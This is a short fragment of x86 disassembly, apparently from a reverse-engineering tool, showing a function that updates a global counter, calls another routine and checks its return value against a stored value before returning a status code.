mov word [ebp - 4], 3
jmp 0x105f29f7
mov edx, dword [0x105dedf4]
add edx, 1
mov dword [0x105dedf4], edx
mov eax, dword [0x105ed818]
mov dword [0x105eb540], eax
mov dword [0x105eb544], 0
push 4
push 0
push 0x105eb544
push 0x105eb540
push 0
push 0x105eb6ac
call fcn.105f5480
mov word [ebp - 4], ax
mov ecx, dword [ebp - 4]
and ecx, 0xffff
test ecx, ecx
jne 0x105f29f1
mov edx, dword [0x105eb544]
xor edx, dword [0x105ed818]
test edx, edx
je 0x105f29f7
mov word [ebp - 4], 3
mov ax, word [ebp - 4]
mov esp, ebp
pop ebp
ret